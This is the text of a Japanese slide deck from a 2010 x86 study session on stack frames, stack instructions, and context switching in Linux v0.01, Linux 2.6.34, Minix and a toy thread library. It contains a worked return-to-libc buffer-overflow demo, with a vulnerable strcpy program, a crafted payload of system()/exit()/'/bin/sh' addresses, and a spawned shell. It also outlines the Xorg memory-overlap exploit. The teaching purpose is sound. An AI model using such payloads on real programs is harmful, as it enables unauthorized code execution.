Skip to main content
x86 とコンテキストスイッチ
        X86 勉強会 2010/08/21
              @masami256
自己紹介
・ Linux 好き
 - Fedora の Proven testers グループのメンバー
     - Fedora のテストを色々とやってます
 - 昔は Debian でパッケージのメンテしたり
・自作カーネルは一応経験済み
はじめに
    • 特に明記しない限り、 x86_32 のプロテクトモー
      ドで、呼出規約は cdecl です
[masami@ftest x86]$ uname -a
Linux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386
GNU/Linux
[masami@ftest x86]$ gcc -v
Using built-in specs.
Target: i686-redhat-linux
コンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info
--with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-
threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-
libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c+
+,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-
gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-
jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-
tune=generic --with-arch=i686 --build=i686-redhat-linux
スレッドモデル : posix
gcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
Agenda
  Todo               Doing   Done
          Linux
 Stack
          v0.01

Stack の    Linux
  命令      v2.6.34

Stack の   Minux
まとめ       v3.1.0

Context
          スレッド
Switch
Agenda
  Todo               Doing   Done
          Linux
                    Stack
          v0.01

Stack の    Linux
  命令      v2.6.34

Stack の   Minux
まとめ       v3.1.0

Context
          スレッド
Switch
x86 の命令実行での主な登場人物

• stack
• eip
• ebp
• esp
• call
• ret
• Task State Segment(TSS)
Stack
• SS レジスタが指すセグメントの領域
 – スタックが絡む命令では CPU が自動的に参照
• フラットメモリモデルの場合
  – リニアアドレス空間にスタックを設定可
 – 領域の大きさは、セグメント次第
• アクセスには esp 、 ebp を使用する
• 関数単位でスタックフレームに分割される
• メモリの高位アドレスから低位アドレスに
  向かって領域が伸びていく
esp と ebp
• esp
  – スタックポインタ
    • スタックの末端のアドレスを指す
• ebp
  – スタックフレームのベースポインタ
  – 減算することで、ローカル変数へアクセス
  – 加算することで、関数の引数へアクセス
スタックフレーム - サンプル
  void test2(int a, int b)
  {
    char s[10];
  }

  void test1(int a, int b)
  {
    int n = 10;
    int m = 20;

      test2(n + a, m + b);
  }

  int main(int argc, char **argv)
  {
     test1(1, 2);
     return 0;
  }
低位アドレス        スタックフレーム
                 esp
    s
              test2() のスタックフレーム
Saved ebp
Ret address
                                  test1() で引数の n と m にするには、この
    a                             ようになる
                                  movl %eax, 8(%ebp) <- a にアクセス
    b
              test1() のスタックフレーム   movl %edx, 12(%ebp) <- b にアクセス
    n
                                  ローカル変数の場合は、
    m                             movl -4(%ebp), %eax <- m にアクセス
Saved ebp                         movl -8(%ebp), %edx <- n にアクセス

Ret address
    a
              main() のスタックフレーム
    b
Saved ebp


高位アドレス
test1() 実行時のスタックフレーム
(gdb) x/x $ebp + 0
0xbffff708: 0xbffff718
(gdb) x/x $ebp + 4
0xbffff70c: 0x080483e9
(gdb) x/x $ebp + 8
0xbffff710: 0x00000001
(gdb) x/x $ebp + 12
0xbffff714: 0x00000002
(gdb) x/x $ebp - 4
0xbffff704: 0x00000014
(gdb) x/x $ebp - 8
0xbffff700: 0x0000000a
(gdb) x/20x $esp
0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff4
0xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e9
0xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc6
0xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
Agenda
  Todo               Doing    Done
          Linux     Stack の
                              Stack
          v0.01       命令

           Linux
          v2.6.34

Stack の   Minux
まとめ       v3.1.0

Context
          スレッド
Switch
Stack 操作の命令
• Push
• Pop
• Call
• Ret
• Enter
• Leave
Stack 操作の命令 - Push/Pop
void push_pop(void)
{
  int n = 0x20;

    printf("before: n is 0x%xn", n);   $ ./a.out
                                        before: n is 0x20
  asm volatile("push $0x10;nt"        after: n is 0x10
               "pop %
[output];nt"
               :[output]
"=g"(n));

    printf("after: n is 0x%xn", n);
}
Stack 操作の命令 - Call/Ret

void call001(void)
{
  printf("call001-1n");                 $ ./a.out
  asm ("pop %ebp;nt"                   call001-1
        "ret;nt");
  printf("call001-2n");
}                              call と ret 命令では、 cpu がリターンア
                               ドレスをスタック [ に積む / から取得 ]
void call_ret(void)            するので、使用時にこの辺は気にしな
{                              くてもよい仕様になってます。
  asm ("call call001;nt");
}
Stack 操作の命令 - Enter/Leave

.globl enter_leave
/* int enter_leave(void) */
enter_leave:
/* Reserve 16 bytes stack frame */             $ ./a.out
enter $0x10, $0                                ret is 32
movl $0x20, -4(%ebp)
/* %eax is return value */
movl -4(%ebp), %eax                    enter 命令の実行内容は、以下
/* Clear the stack frame */            の内容とほぼ等価です
leave                                  pushl %ebp
ret
                                       movl %esp, %ebp
/* 呼び出し */                             subl $16, %esp
printf("ret is %dn",enter_leave());
eip
• 次に実行する命令のアドレスが入る
• eip を直接弄ることはありません
• mov $0x10, %eip とかはできません
• call 、 ret や jmp 命令など実行すると
  cpu が適切な値を eip にセット
• eip はスタックに積まれるので、制御を
  自分で変更したい場合はこちらを弄り
  ます
制御を自分で変える
void hello2(void)
{
   cout << __FUNCTION__ << endl;
   exit(0);
}
extern "C" __attribute__((fastcall)) int hello(int a, int b)
{
   cout << a << ":" << b << endl;

}
   return 0;                                                                 $ ./a.out
int main(int argc, char **argv)                                              10:20
{
   int a = 10, b = 20;                                                       hello2
   unsigned long addr = (unsigned long) &hello2;

    __asm__ __volatile__("push %[ret_ip]nt"
               "jmp                                            hello;nt"
                ::
                [ret_ip] "g"                                   (addr),
                [arg_a]                                        "c"(a),
                [arg_b] "d"(b));

    return 0;
}
Agenda
  Todo               Doing     Done
          Linux     Stack の
                               Stack
          v0.01     まとめ

           Linux              Stack の
          v2.6.34               命令

          Minux
          v3.1.0

Context
          スレッド
Switch
ここまでのまとめ
void test(char *p)
{
  char buf[64];

    strcpy(buf, p);
}

int main(int argc, char **argv)
{
  test(argv[1]);

    printf("okn");
    return 0;
}
main()->test()->system()->exit()
    の流れで遊んでみる
system() に渡す引数の準備

bt test$ BINSH=/bin/sh ; export BINSH
bt test $ echo $BINSH
/bin/sh
bt test $ ./getenv
environment[BINSH] is in 0xbfffff15
メモリレイアウト
      低位アドレス




                 system() に渡す引数のアドレス
0xbfffff15
                 exit() のアドレス
0xb7ece3a0
                 system() のアドレス
0xb7ed86e0

B*4             オーバーフロー用のゴミデータ
                BBBB で ebp が上書きされる
A*72
      高位アドレス
実行してみる
bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB" + "xe0x86xedxb7" +
"xa0xe3xecxb7" + "x15xffxffxbf"'`
__libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...>
strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800)                        =
0xbffff510
sh-3.1$ id
uid=1001(cola) gid=100(users) groups=100(users)
sh-3.1$ exit
exit
--- SIGCHLD (Child exited) ---
+++ exited (status 0) +++
bt test $
Agenda
Todo              Doing     Done
       Linux     Context
                            Stack
       v0.01     Switch

        Linux              Stack の
       v2.6.34               命令

       Minux               Stack の
       v3.1.0              まとめ


       スレッド
Context Switching

• Hardware Context Switching
 –X86 のタスク切り替え機能を利用
 –Linux の v0.01 はこちら
• Software Context Switching
 –自分でタスクを切り替える
   • 一部で cpu の機能を使う必要がある
 –今時のカーネルは普通こちら
TSS
• Hardware/Software コンテキストスイッチ
  どちらでも利用する
  – Hardware コンテキストスイッチは TSS 必須
  – Sfowtware コンテキストスイッチでは所用によ
    り使う
• 各種レジスタ、セグメントなどの情報、 IO 許可
  マップなどの情報を保存する領域
Hardware Context Switching
• CPU によるサポート
 – FPU 、 MMX 、 SSE の切り替えは未サポート
 – GDT に TSS を置くので、タスク数は 8190 個
   が最大
• あまり使われていない
 – モダンな OS で使われてるケースってあるので
   しょうか?
• Why?
 – 遅い(らしい)
 – http://wiki.osdev.org/Context_Switching
Hardware Context Switching の処理
• TSS を作り GDT に置く
 – TSS はプロセス毎
• ltr 命令で TSS をセットする
 – 1 つ目の TSS だけで OK
• プロセスの切り替えは、 JMP/CALL 命令で
  実施
 – 各レジスタのセーブ・リストアに関しては
   CPU がやってくれる
 – FPU などは除く
Software Context Switching
• X86 の機能をフル活用しない
  – TSS の esp0 や IOBP などは利用しま
    す
• タスク数の制限はない
  – プロセス単位に TSS ディスクリプタ
    が不要
Software Context Switching の処理
• TSS を作り GDT に置く
 – Linux の場合、 TSS は cpu 毎
• ltr 命令で TSS をセットする
 – 1 つ目の TSS だけで OK
• プロセスの切り替えはスタックの切り替えで実
  施
  – スタックを次のプロセスのものに切り替えて
    るのと、関数から戻るときにスタックに積ま
    れている eip を利用して切り替えを実施
  – FPU などは自分で切り替える
Agenda
Todo              Doing    Done
                 Linux
                           Stack
                 v0.01

        Linux             Stack の
       v2.6.34              命令

       Minux              Stack の
       v3.1.0             まとめ

                          Context
       スレッド               Switch
Linux v0.01 の場合
Linux v0.01 - sched_init
kernel/sched.c
231void sched_init(void)       TSS ディスクリプタを GDT にセット
232{                           * fork() 時は新プロセス用に作った TSS
                               ディスクリプタをセットします
233 int i;
234 struct desc_struct * p;
235
236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss));
237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt));
snip
246     ltr(0);           ltr 命令で TSS をセットします。
snip
254}

include/linux/sched.h
154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n))
Linux v0.01 - copy_process()
kernel/fork.c
61int copy_process(int nr,long ebp,long edi,long esi,long gs,long none,
64 long eip,long cs,long eflags,long esp,long ss)
65{
snip
70     p = (struct task_struct *) get_free_page();
71 if (!p)
72       return -EAGAIN;
73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */
74 p->state = TASK_RUNNING;
75 p->pid = last_pid;                         70 行目以降で作った新しいプ
snip                                          ロセスのディスクリプタを設定
118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss));
119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt));
120 task[nr] = p; /* do this last, just in case */
121 return last_pid;
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt"                __tmp.b に gdt に設
                                               定されている次のプ
173 "movw %%dx,%1nt"                        ロセスの TSS セレク
174 "ljmp %0nt"                             タ値を代入
175 "cmpl %%ecx,%2nt" 
176 "jne 1fnt" 
177 "cltsn" 
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt"          カレントプロセスと次のプロ
173 "movw %%dx,%1nt"                  セスが同一ならなにもしない
174 "ljmp %0nt" 
175 "cmpl %%ecx,%2nt" 
176 "jne 1fnt" 
177 "cltsn" 
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt" 
173 "movw %%dx,%1nt" 
                                    セグメント間ジャンプでプロセス
174 "ljmp %0nt" 
                                    切り替え実行
175 "cmpl %%ecx,%2nt" 
176 "jne 1fnt" 
177 "cltsn" 
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt" 
173 "movw %%dx,%1nt"          最後に FPU レジスタを使ったプロ
174 "ljmp %0nt"               セスと切り替え後のプロセスを比
175 "cmpl %%ecx,%2nt"         較して同じだったら、 clts 命令を
176 "jne 1fnt"                実行い CR0 レジスタの TS フラグ
177 "cltsn"                    をリセットする
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
clts 命令と TS フラグ
• CR0 レジスタの TS フラグをクリアする命令
• TS は Task Switch の略
• TS フラグはハードウェアコンテキストスイッチ
  発生時に CPU によりセットされる
• このフラグが立っているときに、浮動小数点命
  令を使用すると例外( Device not available) が発
  生する
• この仕組みを利用して、 FPU レジスタの退避を
  遅延させることができる
Agenda
  Todo   Doing                 Done
Minux     Linux                Linux
                      Stack
v3.1.0   v2.6.34               v0.01

                     Stack の
スレッド                   命令

                     Stack の
                     まとめ

                     Context
                     Switch
Linux v2.6.34 の場合
Linux 2.6.34 の Context Switch
• switch_to マクロ
   – arch/x86/include/asm/system.h
• __switch_to()
   – arch/x86/kernel/process_32.c
switch_to - 概要
arch/x86/include/asm/system.h
44/*
45 * Saving eflags is important. It switches not only IOPL
between tasks,
46 * it also protects other tasks from NT leaking through
sysenter etc.
47 */
48#define switch_to(prev, next, last) 

このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、
次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to()
の呼出をします。 __switch_to() から戻った時点で、プロセスが
切り替わっています。
switch_to - 実行部分
57 unsigned long ebx, ecx, edx, esi, edi; 
58 
59 asm volatile("pushflnt" /* save flags */ 
60 "pushl %%ebpnt" /* save EBP */ 
61 "movl %%esp,%[prev_sp]nt" /* save ESP */ 
62 "movl %[next_sp],%%espnt" /* restore ESP */ 
63 "movl $1f,%[prev_ip]nt" /* save EIP */ 
64 "pushl %[next_ip]nt" /* restore EIP */ 
65 __switch_canary 
66 "jmp __switch_ton" /* regparm call */ 
67 "1:t" 
68 "popl %%ebpnt" /* restore EBP */ 
69 "popfln" /* restore flags */
__switch_to() の主な処理

• もし Prev プロセスが FPU を使っていた場合
  は、 FPU レジスタを退避する
• clts 命令の実行などもある
• カーネル用のスタックを設定
• TSS の sp0
• Thread Local Storage へアクセス出きるよう
  にセグメントを設定 
• I/O ポートへのアクセス権の設定
プロセス切替の完了
 67 "1:t" 
 68 "popl %%ebpnt" /* restore
 EBP */ 
 69 "popfln" /* restore flags */ 


__switch_to() から戻る場所は、 67 行目にセット
されているので、 ebp と、 eflags をリストアす
ることで switch_to() の処理は終了し、 Next プロ
セスの実行が始まる。
プロセス切替時のスタックの様子
                            jmp 命令で __switch_to() を呼
Prev プロセスの                  び、 __switch_to() から return するとき
スタック                        にきに ret 命令が Next プロセスのスタ
                            ックから %next_ip を読込み、指定され
ebp              esp        た場所に戻る
                 pushl %%ebp
eflags
                 pushfl
XXX
                                     Next プロセスの 
XXX
                                     スタック
             movl %[next_sp],%%esp


                                                    esp
                                     Ret Address
                                                    pushl %
                                     XXX            [next_ip]
                                     XXX
Agenda
 Todo   Doing                 Done
        Minux                 Linux
スレッド                 Stack
        v3.1.0                v0.01

                    Stack の    Linux
                      命令      v2.6.34

                    Stack の
                    まとめ

                    Context
                    Switch
Minix v3.1.0 の場合
Minix3.1.0 の Context Switch
●
 kernel/mpx386.s に実装がある
●
 _restart() がコンテキストスイッチを実行
●
 通常は c の関数からは呼ばれない
    ●
        同ファイルの割り込みハンドラから実行
例外は kernel/main.c の main() で、終了時に呼
●


び出される
    ●
        main() の最後に _restart() を呼ぶ
    ●
        スケジューラにセットされたサーバプロセス
         の起動処理が走りだす
_restart - 前半
_restart:
cmp (_next_ptr), 0           _next_ptr は次のプロセス
jz 0f                        で、次のプロセスが無け
mov eax, (_next_ptr)         れば、今のプロセスを継
mov (_proc_ptr), eax         続する
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
_restart - 前半
_restart:
                             _proc_ptr に _next_ptr をセ
cmp (_next_ptr), 0           ットして、 _next_ptr を
jz 0f                        NULL にする
mov eax, (_next_ptr)
mov (_proc_ptr), eax
                                 LDT をセット
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
_restart - LDT の設定
先ほど出てきた P_LDT_SEL はマクロで、 proc 構造体の配列 p_ldt
にアクセスするために使用しています。このマクロを使用すること
で、 lldt 命令の引数を正しくセットできます。
マクロは kernel/sconst.h にて定義。

struct proc {
struct stackframe_s p_reg; /* process' registers saved in stack frame
*/

#if (CHIP == INTEL)
reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */
struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and
remote segments */
#endif


      この p_ldt にアクセスする
_restart - 前半
_restart:
cmp (_next_ptr), 0
jz 0f
mov eax, (_next_ptr)
mov (_proc_ptr), eax         TSS の sp0 をセット
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
Minix の TSS 構造体
kernel/protect.h
struct tss_s {
reg_t backlink;
reg_t sp0;
reg_t ss0;         mov (_tss+TSS3_S_SP0), eax
reg_t sp1;         ↑ の mov 命令で sp0 をセットするわけですが、その仕組み
                   は単純で、 TSS を表す構造体 _tss の先頭からオフセット
snip               TSS3_S_SP0 バイト目にアクセスするだけです。
                   386 版の aMinix では reg_t は 4 バイトなので、先頭から 4 バ
};                 イト目は sp0 となり、目的の位置にアクセスできます。


#define TSS3_S_SP0 4
_restart - 後半
restart1:           _restart() 内では使用しないラベル

decb (_k_reenter)
                      カーネルのリエントラント用
o16 pop gs            のカウンタをデクリメント
o16 pop fs
o16 pop es
o16 pop ds             スタックに積まれているリ
popad                  ターンアドレスを無視

add esp, 4
iretd
            iretd で抜けて処理が完了
Agenda
Todo   Doing                 Done
                             Linux
       スレッド         Stack
                             v0.01

                   Stack の    Linux
                     命令      v2.6.34

                   Stack の   Minux
                   まとめ       v3.1.0

                   Context
                   Switch
スレッド

    スタックの切り替えでスレッドを切り替え
    ることができます

    実験は x86_64 で行ってます
スレッド構造体
typedef struct _Thread {
   struct _Thread *next;
   int thread_id;
   unsigned long context[CONTEXT_SIZE];
   char *stack_top; /* NULL if this is main() thread */
   int status;
} Thread;
メインスレッド
void ThreadMain(int argc, char **argv)
{
   int t1, t2;

    t1 = ThreadCreate(f, 1);
    printf("create a new thread (i=%d) [id=%d]n", 1, t1);
    t2 = ThreadCreate(f, 2);
    printf("create a new thread (i=%d) [id=%d]n", 2, t2);
    ThreadYield();
    printf("main thread finished.n");
}
スレッド生成 - 前半
int ThreadCreate(ThreadProc proc, unsigned long arg)
{
    Thread *child;
    unsigned long addr = (unsigned long) ThreadStart;
    unsigned long stack_start = 0;

   child = AllocateThread();

   child->stack_top = malloc(STACK_ALLOC_SIZE);
   memset(child->stack_top, 0, STACK_ALLOC_SIZE);

   stack_start = (unsigned long) child->stack_top + STACK_SIZE;
   memcpy((char *) stack_start, &addr, sizeof(addr));
スレッド生成 - 後半
    child->context[0] = stack_start;
    child->context[1] = stack_start;
    child->context[2] = (unsigned long) proc;
    child->context[3] = arg;

    child->status = RUNNING;

    LinkThread(child);

    return child->thread_id;

}
スレッドのエントリポイント


static void ThreadStart(unsigned long proc, unsigned long arg)
{
    ThreadProc ptr = (ThreadProc) proc;
    ptr(arg);
    ThreadExit();
}
ThreadYeild- 前半
void ThreadYield()
{
   Thread *t;
   int found = 0;

   for (t = threadList->next; t; t = t->next) {
       if (t && t->status == RUNNING && t != currentThread) {
            found = 1;
            break;
       }
   }
ThreadYeild- 後半
if (found) {
        Thread *cur = currentThread;
        currentThread = t;

        printf("switch id %d to %dn", cur->thread_id, t->thread_id);
        _ContextSwitch(cur->context, t->context);
    } else if (currentThread->thread_id == MAIN_THREAD_ID) {
        // main thread's state is FINISH.
        printf("There is only main threadn");
    } else {
        printf("There is no active threadn");
    }
}
_ContextSwitch
//void _ContextSwitch(void* old_context, void* new_context);
.globl ENTRY(_ContextSwitch)
ENTRY(_ContextSwitch):
    movq %rdi, %rax // old
    movq %rsp, 0(%rax)
    movq %rbp, 8(%rax)
    movq %rdi, 16(%rax)
    movq %rsi, 24(%rax)
    movq %rsi, %rax // new
    movq 0(%rax), %rsp
    movq 8(%rax), %rbp
    movq 16(%rax), %rdi // arg1
    movq 24(%rax), %rsi // arg2
    ret
スレッドの実行内容
void f(int i)
{
   int n = 0;

    for (n = 0; n < 10; n++) {
       printf("thread(%d): %d.n", i, n);
       ThreadYield();
    }

    printf("thread (i=%d) finished.n", i);
}
実行結果
[masami@moon]~/experiment/thread% ./test1
create a new thread (i=1) [id=1]
create a new thread (i=2) [id=2]
switch id 0 to 2
thread(2): 0.
switch id 2 to 1
thread(1): 0.
switch id 1 to 2
~
switch id 1 to 2
thread (i=2) finished.
switch id -1 to 1
thread (i=1) finished.
switch id -1 to 0
main thread finished.
まとめ

• プロセスの切り替えは、スタックとスタック
  操作のメカニズムが主要な鍵になってます
• スタック周りの説明はバッファオーバーフロ
  ーなどのテクニックを紹介している本が結構
  詳しいです
• 大概は x86 で説明しているのと、 exploit コ
  ードの説明ではスタックの知識が必要なので
  …
追加スライド

• Linux カーネルの脆弱性のレポート
  – Exploiting large memory management
    vulnerabilities in Xorg server running on
    Linux
• スタック & ヒープ領域に絡んだ話です
  – デフォルトインストールの Fedora 13 で
    再現
     • F13 は selinux 有効、 exec-shiled パッ
       チ有りがデフォルトです
概要

スタックとヒープを大量に使った場合の問題
●

    ●
        スタックとヒープが重なったら危険!
Xorg の MIT-SHM という拡張機能を使ってい
●


ると exploit の効果が抜群
    ●
        この拡張を無効にすれば exploit の信頼性が落
         ちるけど、 Xorg の機能性も落ちる
シナリオ

X サーバに大量のメモリを確保させる
●

    ●
        x86_32 では実行する必要なし
●
 共有メモリ S を限界まで確保させる
●
 関数 F の再帰呼び出しを繰り返し実行させる
●
 S の領域に 0 以外のデータが入っている場所
  を探す
    ●
        スタックフレームとヒープが重なった!
シナリオ
●
 プロセス W を立ち上げて、 S 内のデータを
payload で書き換える
●
 F が関数から戻るときはスタックからリター
ンアドレスを取得する
    ●
        この時に payload を読み込んだらゲームオー
         バー
    ●
        W による書き換えと、 F がリターンアドレス
         を取得するタイミングでレースがある
    ●
        でも、ほとんどの SMP システムでは上手く
         できる
ご清聴ありがとうございました
リファレンス
• Insecure Programming by example
  – http://community.corest.com/~gera/InsecureProgramming/
• OSDev.org
   – http://wiki.osdev.org/Main_Page
• Hacking: 美しき策謀 —脆弱性攻撃の理論と実際
   – http://www.amazon.co.jp/dp/4873112303
• xorg-large-memory-attack.pdf
   – http://www.invisiblethingslab.com/resources/misc-
     2010/xorg-large-memory-attacks.pdf